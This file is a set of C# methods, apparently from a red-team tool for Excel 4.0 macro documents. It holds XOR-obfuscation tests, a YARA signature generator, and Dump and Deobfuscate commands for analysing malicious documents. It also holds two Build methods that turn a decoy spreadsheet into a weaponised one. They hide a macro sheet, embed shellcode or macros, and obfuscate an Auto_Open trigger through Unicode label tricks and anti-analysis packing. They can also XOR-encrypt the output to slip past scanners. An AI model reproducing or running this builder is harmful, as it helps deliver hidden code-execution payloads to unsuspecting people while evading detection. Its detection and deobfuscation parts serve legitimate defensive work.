public void GenerateVelvetSweatshopMacroSheetSigs() { XorObfuscation xorObfuscation = new XorObfuscation(); BoundSheet8 sheetVersion1 = new BoundSheet8(BoundSheet8.HiddenState.Visible, BoundSheet8.SheetType.Macrosheet, "Sheet"); BoundSheet8 sheetVersion2 = new BoundSheet8(BoundSheet8.HiddenState.Hidden, BoundSheet8.SheetType.Macrosheet, "Sheet1"); BoundSheet8 sheetVersion3 = new BoundSheet8(BoundSheet8.HiddenState.VeryHidden, BoundSheet8.SheetType.Macrosheet, "Sheet2"); BoundSheet8[] sheets = new[] { sheetVersion1, sheetVersion2, sheetVersion3 }; int hiddenState = 0; foreach (BoundSheet8 currentSheet in sheets) { for (int offset = 0; offset < 16; offset += 1) { byte[] header = currentSheet.GetBytes().Take(4).ToArray(); byte[] data = currentSheet.GetBytes().Skip(4).ToArray(); byte[] encryptedData = xorObfuscation.EncryptData_Method1(XorObfuscation.DefaultPassword, data, (byte)offset); string ruleName = string.Format("$boundsheet8_hs{0}_vs_xor_offset{1}", hiddenState, offset); string yaraSig = ruleName + " = { "; yaraSig += BitConverter.ToString(header.Take(2).ToArray()).Replace("-", " "); yaraSig += " [6] "; yaraSig += BitConverter.ToString(encryptedData.Skip(4).Take(2).ToArray()).Replace("-", " "); yaraSig += " }"; Console.WriteLine(yaraSig); } hiddenState += 1; } }
public void TestPasswordXorKeyDerivation() { XorObfuscation xorObfuscation = new XorObfuscation(); ushort key = xorObfuscation.CreateXorKey_Method1(XorObfuscation.DefaultPassword); //key bytes = 0xB359 Assert.AreEqual(0xB359, key); }
public void TestPasswordVerifier() { XorObfuscation xorObfuscation = new XorObfuscation(); ushort result = xorObfuscation.CreatePasswordVerifier_Method1(XorObfuscation.DefaultPassword); //verification bytes = 0x9A0A Assert.AreEqual(0x9A0A, result); }
public void TestSaveEncryptedDocstream() { WorkbookStream obfuscatedStream = TestHelpers.GetXorObfuscatedWorkbookStream(); ExcelDocWriter writer = new ExcelDocWriter(); XorObfuscation xorObfuscation = new XorObfuscation(); WorkbookStream deobfuscatedStream = xorObfuscation.DecryptWorkbookStream(obfuscatedStream); WorkbookStream reObfuscatedStream = xorObfuscation.EncryptWorkbookStream(deobfuscatedStream); writer.WriteDocument("C:\\Users\\Weber\\source\\repos\\michaelweber\\Macrome\\bin\\Debug\\netcoreapp2.0\\test-encrypted2.xls", reObfuscatedStream); }
/// <summary> /// Dumps information about BIFF records that are relevant for analysis. Defaults to sheet, label, and formula data. /// </summary> /// <param name="path">Path to the XLS file to dump</param> /// <param name="dumpAll">Dump all BIFF records, not the most commonly used by maldocs</param> /// <param name="showAttrInfo">Explicitly display PtgAttr information in Formula strings. Defaults to False.</param> /// <param name="dumpHexBytes">Dump the byte content of each BIFF record in addition to its content summary.</param> /// <param name="password">XOR Obfuscation decryption password to try. Defaults to VelvetSweatshop if FilePass record is found.</param> /// <param name="disableDecryption">Use this flag in order to skip decryption of the file before dumping.</param> public static void Dump(FileInfo path, bool dumpAll = false, bool showAttrInfo = false, bool dumpHexBytes = false, string password = "******", bool disableDecryption = false) { if (path == null) { Console.WriteLine("path argument must be specified in Dump mode. Run dump -h for usage instructions."); return; } if (path.Exists == false) { Console.WriteLine("path file does not exist."); return; } WorkbookStream wbs = new WorkbookStream(path.FullName); if (wbs.HasPasswordToOpen() && !disableDecryption) { Console.WriteLine("FilePass record found - attempting to decrypt with password " + password); XorObfuscation xorObfuscation = new XorObfuscation(); try { wbs = xorObfuscation.DecryptWorkbookStream(wbs, password); } catch (ArgumentException argEx) { Console.WriteLine("Password " + password + " does not match the verifier value of the document FilePass. Try a different password."); return; } } int numBytesToDump = 0; if (dumpHexBytes) { numBytesToDump = 0x1000; } if (dumpAll) { List <BiffRecord> records; WorkbookStream fullStream = new WorkbookStream(PtgHelper.UpdateGlobalsStreamReferences(wbs.Records)); records = fullStream.Records; foreach (var record in records) { Console.WriteLine(record.ToHexDumpString(numBytesToDump, showAttrInfo)); } } else { string dumpString = RecordHelper.GetRelevantRecordDumpString(wbs, dumpHexBytes, showAttrInfo); Console.WriteLine(dumpString); } }
/// <summary> /// Deobfuscate a legacy XLS document to enable simpler analysis. /// </summary> /// <param name="path">Path to the XLS file to deobfuscate</param> /// <param name="neuterFile">Flag to insert a HALT() expression into all Auto_Open start locations. NOT IMPLEMENTED</param> /// <param name="password">XOR Obfuscation decryption password to try. Defaults to VelvetSweatshop if FilePass record is found.</param> /// <param name="outputFileName">The output filename used for the generated document. Defaults to deobfuscated.xls</param> public static void Deobfuscate(FileInfo path, bool neuterFile = false, string password = "******", string outputFileName = "deobfuscated.xls") { if (path == null) { Console.WriteLine("path argument must be specified in Deobfuscate mode. Run deobfuscate -h for usage instructions."); return; } if (path.Exists == false) { Console.WriteLine("path file does not exist."); return; } if (neuterFile) { throw new NotImplementedException("XLS Neutering Not Implemented Yet"); } WorkbookStream wbs = new WorkbookStream(path.FullName); if (wbs.HasPasswordToOpen()) { Console.WriteLine("FilePass record found - attempting to decrypt with password " + password); XorObfuscation xorObfuscation = new XorObfuscation(); try { wbs = xorObfuscation.DecryptWorkbookStream(wbs, password); } catch (ArgumentException argEx) { Console.WriteLine("Password " + password + " does not match the verifier value of the document FilePass. Try a different password."); return; } } WorkbookEditor wbEditor = new WorkbookEditor(wbs); wbEditor.NormalizeAutoOpenLabels(); wbEditor.UnhideSheets(); ExcelDocWriter writer = new ExcelDocWriter(); string outputPath = Directory.GetCurrentDirectory() + Path.DirectorySeparatorChar + outputFileName; Console.WriteLine("Writing deobfuscated document to {0}", outputPath); writer.WriteDocument(outputPath, wbEditor.WbStream); }
public void TestEncryptDoc() { WorkbookStream obfuscatedStream = TestHelpers.GetXorObfuscatedWorkbookStream(); XorObfuscation xorObfuscation = new XorObfuscation(); WorkbookStream deobfuscatedStream = xorObfuscation.DecryptWorkbookStream(obfuscatedStream); WorkbookStream reObfuscatedStream = xorObfuscation.EncryptWorkbookStream(deobfuscatedStream); foreach (var record in reObfuscatedStream.Records) { Console.WriteLine(record.ToHexDumpString(0x1000, false)); } CodePage originalCpRecord = obfuscatedStream.GetAllRecordsByType <CodePage>().First(); CodePage newCpRecord = reObfuscatedStream.GetAllRecordsByType <CodePage>().First(); Assert.AreEqual(originalCpRecord.cv, newCpRecord.cv); }
public void GenerateFilePassBytesForPasswords() { XorObfuscation xorObfuscation = new XorObfuscation(); byte[] xorArray = xorObfuscation.CreateXorArray_Method1(XorObfuscation.DefaultPassword); string xorString = BitConverter.ToString(xorArray).Replace("-", " "); Console.WriteLine(xorString); string[] passwords = new[] { "000", "111", "222", "333", "444", "555", "5 5 5", "666", "777", "7 7 7", "888", "999", "123", "321", "987", "876", "543", "321", "135", "246", "357", "468", "579", "1234", "2020", "2021", "password", "password1", "infected", "infected2" }; foreach (var password in passwords) { Console.WriteLine(string.Format("FilePass Bytes for {0}", password)); FilePass fp = xorObfuscation.CreateFilePassFromPassword(password); Console.WriteLine(fp.ToHexDumpString(16, false, true)); } }
public void TestXorEncryptionDecryption() { XorObfuscation xorObfuscation = new XorObfuscation(); byte[] plaintextBytes = new byte[] { 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39 }; byte[] encryptedBytes = xorObfuscation.EncryptData_Method1(XorObfuscation.DefaultPassword, plaintextBytes, 0); byte[] decryptedBytes = xorObfuscation.DecryptData_Method1(XorObfuscation.DefaultPassword, encryptedBytes, 0); for (int i = 0; i < plaintextBytes.Length; i += 1) { Assert.AreNotEqual(plaintextBytes[i], encryptedBytes[i]); Assert.AreEqual(plaintextBytes[i], decryptedBytes[i]); } }
public void TestDecryptObfuscatedDoc() { WorkbookStream obfuscatedStream = TestHelpers.GetXorObfuscatedWorkbookStream(); XorObfuscation xorObfuscation = new XorObfuscation(); WorkbookStream deobfuscatedStream = xorObfuscation.DecryptWorkbookStream(obfuscatedStream); foreach (var record in deobfuscatedStream.Records) { Console.WriteLine(record.ToHexDumpString(0x1000, false)); } List <Lbl> AutoOpenLabels = deobfuscatedStream.GetAutoOpenLabels(); Assert.AreEqual(1, AutoOpenLabels.Count); List <FilePass> filePassRecords = deobfuscatedStream.GetAllRecordsByType <FilePass>(); Assert.AreEqual(0, filePassRecords.Count); }
public void TestXorEncryptionDecryption2() { XorObfuscation xorObfuscation = new XorObfuscation(); byte[] mmsBytes = new byte[] { 0x00, 0x00, 0xB0, 0x04 }; byte mmsByteOffset = 6; byte[] encryptedBytes = xorObfuscation.EncryptData_Method1(XorObfuscation.DefaultPassword, mmsBytes, mmsByteOffset); byte[] decryptedBytes = xorObfuscation.DecryptData_Method1(XorObfuscation.DefaultPassword, encryptedBytes, mmsByteOffset); for (int i = 0; i < mmsBytes.Length; i += 1) { Assert.AreNotEqual(mmsBytes[i], encryptedBytes[i]); Assert.AreEqual(mmsBytes[i], decryptedBytes[i]); } }
/// <summary> /// Dumps information about BIFF records that are relevant for analysis. Defaults to sheet, label, and formula data. /// </summary> /// <param name="path">Path to the XLS file to dump</param> /// <param name="dumpAll">Dump all BIFF records, not the most commonly used by maldocs</param> /// <param name="showAttrInfo">Explicitly display PtgAttr information in Formula strings. Defaults to False.</param> /// <param name="dumpHexBytes">Dump the byte content of each BIFF record in addition to its content summary.</param> /// <param name="password">XOR Obfuscation decryption password to try. Defaults to VelvetSweatshop if FilePass record is found.</param> /// <param name="disableDecryption">Use this flag in order to skip decryption of the file before dumping.</param> public static void Dump(FileInfo path, bool dumpAll = false, bool showAttrInfo = false, bool dumpHexBytes = false, string password = "******", bool disableDecryption = false) { if (path == null) { Console.WriteLine("path argument must be specified in Dump mode. Run dump -h for usage instructions."); return; } if (path.Exists == false) { Console.WriteLine("path file does not exist."); return; } WorkbookStream wbs = new WorkbookStream(path.FullName); if (wbs.HasPasswordToOpen() && !disableDecryption) { FilePass fpRecord = wbs.GetAllRecordsByType <FilePass>().First(); if (fpRecord.wEncryptionType == 0 && fpRecord.xorObfuscationKey != 0) { XorObfuscation xorObfuscation = new XorObfuscation(); Console.WriteLine("FilePass record found - attempting to decrypt with password " + password); try { wbs = xorObfuscation.DecryptWorkbookStream(wbs, password); } catch (ArgumentException argEx) { Console.WriteLine("Password " + password + " does not match the verifier value of the document FilePass. Try a different password."); return; } } else if (fpRecord.wEncryptionType == 1 && fpRecord.vMajor > 1) { Console.WriteLine("FilePass record for CryptoAPI Found - Currently Unsupported."); string verifierSalt = BitConverter.ToString(fpRecord.encryptionVerifier.Salt).Replace("-", ""); string verifier = BitConverter.ToString(fpRecord.encryptionVerifier.EncryptedVerifier).Replace("-", ""); string verifierHash = BitConverter.ToString(fpRecord.encryptionVerifier.EncryptedVerifierHash).Replace("-", ""); Console.WriteLine("Salt is: " + verifierSalt); Console.WriteLine("Vrfy is: " + verifier); Console.WriteLine("vHsh is: " + verifierHash); Console.WriteLine("Algo is: " + string.Format("{0:x8}", fpRecord.encryptionHeader.AlgID)); } else if (fpRecord.wEncryptionType == 1 && fpRecord.vMajor == 1) { Console.WriteLine("FilePass record for RC4 Binary Document Encryption Found - Currently Unsupported."); } } int numBytesToDump = 0; if (dumpHexBytes) { numBytesToDump = 0x1000; } if (dumpAll) { List <BiffRecord> records; WorkbookStream fullStream = new WorkbookStream(PtgHelper.UpdateGlobalsStreamReferences(wbs.Records)); records = fullStream.Records; foreach (var record in records) { Console.WriteLine(record.ToHexDumpString(numBytesToDump, showAttrInfo)); } } else { string dumpString = RecordHelper.GetRelevantRecordDumpString(wbs, dumpHexBytes, showAttrInfo); Console.WriteLine(dumpString); } }
/// <summary> /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument. /// </summary> /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param> /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param> /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param> /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param> /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param> /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param> /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param> /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param> /// <param name="password">Password to encrypt document using XOR Obfuscation.</param> /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param> public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble, PayloadType payloadType = PayloadType.Shellcode, string macroSheetName = "Sheet2", string outputFileName = "output.xls", bool debugMode = false, SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc, string password = "") { if (decoyDocument == null || payload == null) { Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions."); return; } //Useful for remote debugging if (debugMode) { Console.WriteLine("Waiting for debugger to attach"); while (!Debugger.IsAttached) { Thread.Sleep(100); } Console.WriteLine("Debugger attached"); } List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords(); string decoyDocPath = decoyDocument.FullName; WorkbookStream wbs = LoadDecoyDocument(decoyDocPath); List <string> preambleCode = new List <string>(); if (preamble != null) { string preambleCodePath = new FileInfo(preamble).FullName; preambleCode = new List <string>(File.ReadAllLines(preambleCodePath)); } if (wbs.GetAllRecordsByType <SupBook>().Count > 0) { throw new NotImplementedException("Please use a decoy document with no existing Labels."); } WorkbookEditor wbe = new WorkbookEditor(wbs); wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden); List <string> macros = null; byte[] binaryPayload = null; byte[] binary64Payload = null; //TODO make this customizable int rwStart = 0; int colStart = 0xA0; int dstRwStart = 0; int dstColStart = 0; int curRw = rwStart; int curCol = colStart; switch (payloadType) { case PayloadType.Shellcode: macros = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName); binaryPayload = File.ReadAllBytes(payload.FullName); if (payload64Bit != null && payload64Bit.Exists) { binary64Payload = File.ReadAllBytes(payload64Bit.FullName); } break; case PayloadType.Macro: macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList()); break; default: throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType), "payloadType"); } if (binaryPayload != null && binaryPayload.Length > 0) { wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method); curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } if (binary64Payload != null && binary64Payload.Length > 0) { wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method); curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName); } } wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method); if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine) { ushort charInvocationRw = 0xefff; ushort charInvocationCol = 0x9f; wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true); //Abuse a few comparison "features" in Excel //1. Null bytes are ignored at the beginning and start of a label. //2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ //3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325) //4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true); //Using lblIndex 2, since that what var has set for us wbe.AddFormula( FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2)); } wbe.AddLabel("Auto_Open", rwStart, colStart); wbe.ObfuscateAutoOpen(); WorkbookStream createdWorkbook = wbe.WbStream; if (!string.IsNullOrEmpty(password)) { Console.WriteLine("Encrypting Document with Password " + password); XorObfuscation xorObfuscation = new XorObfuscation(); createdWorkbook = xorObfuscation.EncryptWorkbookStream(createdWorkbook, password); // createdWorkbook = createdWorkbook.FixBoundSheetOffsets(); } ExcelDocWriter writer = new ExcelDocWriter(); string outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName; Console.WriteLine("Writing generated document to {0}", outputPath); writer.WriteDocument(outputPath, createdWorkbook); }
/// <summary> /// Generate an Excel Document with a hidden macro sheet that will execute code described by the payload argument. /// </summary> /// <param name="decoyDocument">File path to the base Excel 2003 sheet that should be visible to users.</param> /// <param name="payload">Either binary shellcode or a newline separated list of Excel Macros to execute</param> /// <param name="payload64Bit">Binary shellcode of a 64bit payload, payload-type must be Shellcode</param> /// <param name="payloadType">Specify if the payload is binary shellcode or a macro list. Defaults to Shellcode</param> /// <param name="preamble">Preamble macro code to include with binary shellcode payload type</param> /// <param name="macroSheetName">The name that should be used for the macro sheet. Defaults to Sheet2</param> /// <param name="outputFileName">The output filename used for the generated document. Defaults to output.xls</param> /// <param name="debugMode">Set this to true to make the program wait for a debugger to attach. Defaults to false</param> /// <param name="payloadMethod">How should shellcode be written in the document. Defaults to using the Base64 for encoding.</param> /// <param name="password">Password to encrypt document using XOR Obfuscation.</param> /// <param name="method">Which method to use for obfuscating macros. Defaults to ObfuscatedCharFunc. </param> /// <param name="localizedLabel">Use this flag in order to set a localized label in case Excel is not in US language. Default to Auto_Open</param> /// <param name="noLabelObfuscation">Use this flag to disable Unicode obfuscation of the Auto_Open label. Recommended for when targeting a non-windows OS, or if a non-US version of Excel isn't triggering the event</param> public static void Build(FileInfo decoyDocument, FileInfo payload, FileInfo payload64Bit, string preamble, PayloadType payloadType = PayloadType.Shellcode, string macroSheetName = "Sheet2", string outputFileName = "output.xls", bool debugMode = false, SheetPackingMethod method = SheetPackingMethod.ObfuscatedCharFunc, PayloadPackingMethod payloadMethod = PayloadPackingMethod.Base64, string password = "", string localizedLabel = "Auto_Open", bool noLabelObfuscation = false) { if (decoyDocument == null || payload == null) { Console.WriteLine("decoy-document and payload must be specified in Build mode. Run build -h for usage instructions."); return; } //Useful for remote debugging if (debugMode) { Console.WriteLine("Waiting for debugger to attach"); while (!Debugger.IsAttached) { Thread.Sleep(100); } Console.WriteLine("Debugger attached"); } List <BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords(); string decoyDocPath = decoyDocument.FullName; WorkbookStream wbs = LoadDecoyDocument(decoyDocPath); List <string> sheetNames = wbs.GetAllRecordsByType <BoundSheet8>().Select(bs => bs.stName.Value).ToList(); VBAInfo vbaInfo = VBAInfo.FromCompoundFilePath(decoyDocPath, sheetNames); List <string> preambleCode = new List <string>(); if (preamble != null) { string preambleCodePath = new FileInfo(preamble).FullName; preambleCode = new List <string>(File.ReadAllLines(preambleCodePath)); } WorkbookEditor wbe = new WorkbookEditor(wbs); wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.SuperHidden); List <string> macros = null; byte[] binaryPayload = null; byte[] binary64Payload = null; //TODO make this customizable int rwStart = 0; int colStart = 0xA0; int dstRwStart = 0; int dstColStart = 0; int curRw = rwStart; int curCol = colStart; switch (payloadType) { case PayloadType.Shellcode: macros = MacroPatterns.GetX86GetBinaryLoaderPattern(preambleCode, macroSheetName); binaryPayload = File.ReadAllBytes(payload.FullName); if (payload64Bit != null && payload64Bit.Exists) { binary64Payload = File.ReadAllBytes(payload64Bit.FullName); } break; case PayloadType.Macro: macros = MacroPatterns.ImportMacroPattern(File.ReadAllLines(payload.FullName).ToList()); //Prepend the preamble to the imported pattern macros = preambleCode.Concat(macros).ToList(); break; default: throw new ArgumentException(string.Format("Invalid PayloadType {0}", payloadType), "payloadType"); } if (binaryPayload != null && binaryPayload.Length > 0) { if (payloadMethod == PayloadPackingMethod.Base64) { wbe.SetMacroBinaryContent(binaryPayload, 0, dstColStart + 1, 0, 0, method, payloadMethod); } else { wbe.SetMacroBinaryContent(binaryPayload, curRw, curCol, dstRwStart, dstColStart + 1, method); } curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } if (binary64Payload != null && binary64Payload.Length > 0) { if (payloadMethod == PayloadPackingMethod.Base64) { wbe.SetMacroBinaryContent(binary64Payload, 0, dstColStart + 2, 0, 0, method, payloadMethod); } else { wbe.SetMacroBinaryContent(binary64Payload, curRw, curCol, dstRwStart, dstColStart + 2, method); } curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1; if (rwStart > 0xE000) { curRw = 0; curCol += 1; } macros = MacroPatterns.GetMultiPlatformBinaryPattern(preambleCode, macroSheetName); } if (payloadMethod == PayloadPackingMethod.Base64) { macros = MacroPatterns.GetBase64DecodePattern(preambleCode); } } wbe.SetMacroSheetContent(macros, curRw, curCol, dstRwStart, dstColStart, method); // Initialize the Global Stream records like SupBook + ExternSheet wbe.InitializeGlobalStreamLabels(); if (method == SheetPackingMethod.CharSubroutine || method == SheetPackingMethod.AntiAnalysisCharSubroutine) { ushort charInvocationRw = 0xefff; ushort charInvocationCol = 0x9f; wbe.AddLabel("\u0000", charInvocationRw, charInvocationCol, true, true); //Abuse a few comparison "features" in Excel //1. Null bytes are ignored at the beginning and start of a label. //2. Comparisons are not case sensitive, A vs a or Ḁ vs ḁ //3. Unicode strings can be "decomposed" - ex: Ḁ (U+1E00) can become A (U+0041) - ◌̥ (U+0325) //4. The Combining Grapheme Joiner (U+034F) unicode symbol is ignored at any location in the string in SET.NAME functions wbe.AddLabel(UnicodeHelper.UnicodeArgumentLabel, null, true, true); //Using lblIndex 2, since that what var has set for us wbe.AddFormula( FormulaHelper.CreateCharInvocationFormulaForLblIndex(charInvocationRw, charInvocationCol, 2), payloadMethod); } else if (method == SheetPackingMethod.ArgumentSubroutines) { ushort charInvocationRw = 0xefff; ushort charInvocationCol = 0x9f; ushort formInvocationRw = 0xefff; ushort formInvocationCol = 0x9e; ushort evalFormInvocationRw = 0xefff; ushort evalFormInvocationCol = 0x9d; //Lbl1 wbe.AddLabel("c", charInvocationRw, charInvocationCol, false, false); //Lbl2 wbe.AddLabel("f", formInvocationRw, formInvocationCol, false, false); //Lbl3 wbe.AddLabel(UnicodeHelper.CharFuncArgument1Label, null, false, true); //Lbl4 wbe.AddLabel(UnicodeHelper.FormulaFuncArgument1Label, null, false, true); //Lbl5 wbe.AddLabel(UnicodeHelper.FormulaFuncArgument2Label, null, false, true); //Lbl6 wbe.AddLabel("e", evalFormInvocationRw, evalFormInvocationCol, false, false); //Lbl7 wbe.AddLabel(UnicodeHelper.FormulaEvalArgument1Label, null, false, true); List <Formula> charFunctionFormulas = FormulaHelper.CreateCharFunctionWithArgsForLbl(charInvocationRw, charInvocationCol, 3, UnicodeHelper.CharFuncArgument1Label); foreach (var f in charFunctionFormulas) { wbe.AddFormula(f, payloadMethod); } List <Formula> formulaFunctionFormulas = FormulaHelper.CreateFormulaInvocationFormulaForLblIndexes( formInvocationRw, formInvocationCol, UnicodeHelper.FormulaFuncArgument1Label, UnicodeHelper.FormulaFuncArgument2Label, 4, 5); foreach (var f in formulaFunctionFormulas) { wbe.AddFormula(f, payloadMethod); } List <Formula> formulaEvalFunctionFormulas = FormulaHelper.CreateFormulaEvalInvocationFormulaForLblIndexes( evalFormInvocationRw, evalFormInvocationCol, UnicodeHelper.FormulaEvalArgument1Label, 7); foreach (var f in formulaEvalFunctionFormulas) { wbe.AddFormula(f, payloadMethod); } } wbe.AddLabel(localizedLabel, rwStart, colStart); if (!noLabelObfuscation) { wbe.ObfuscateAutoOpen(localizedLabel); } WorkbookStream createdWorkbook = wbe.WbStream; if (!string.IsNullOrEmpty(password)) { Console.WriteLine("Encrypting Document with Password " + password); XorObfuscation xorObfuscation = new XorObfuscation(); createdWorkbook = xorObfuscation.EncryptWorkbookStream(createdWorkbook, password); } ExcelDocWriter writer = new ExcelDocWriter(); string outputPath = AssemblyDirectory + Path.DirectorySeparatorChar + outputFileName; Console.WriteLine("Writing generated document to {0}", outputPath); writer.WriteDocument(outputPath, createdWorkbook, vbaInfo); }